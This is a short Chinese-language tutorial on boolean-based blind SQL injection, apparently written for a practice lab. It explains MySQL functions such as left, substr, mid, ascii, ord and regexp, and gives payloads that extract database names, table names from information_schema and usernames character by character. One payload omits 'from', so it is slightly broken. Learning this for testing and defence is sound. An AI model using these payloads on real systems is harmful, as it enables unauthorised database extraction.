基于布尔sql盲注———构造逻辑判断
截取字符串相关函数:
left(database(),1)>’s’ //left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取a的前b位ascii(substr((select table_name information_schema.tables where table_schema=database() limit 0,1),1,1))=101 –+ //substr()函数,ascii()函数
Explain:substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度。ascii()将某个字符转换为ascii值。ascii(substr((select database()),1,1))=98
ord(mid((select ifnull(cast(username as char),0x20) from security.users order by id limit 0,1),1,1))>98%23 //ord()函数,mid()函数
Explain:mid(a,b,c)从位置b开始,截取a字符串的c位 ord()函数同ascii(),将字符转为ascii值。regexp 正则注入
用法介绍:select user() regexp ‘^[a-z]’;
Explain:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。
第二位可以用select user() regexp ‘^ro’来进行。
当正确的时候显示结果为1,不正确的时候显示结果为0.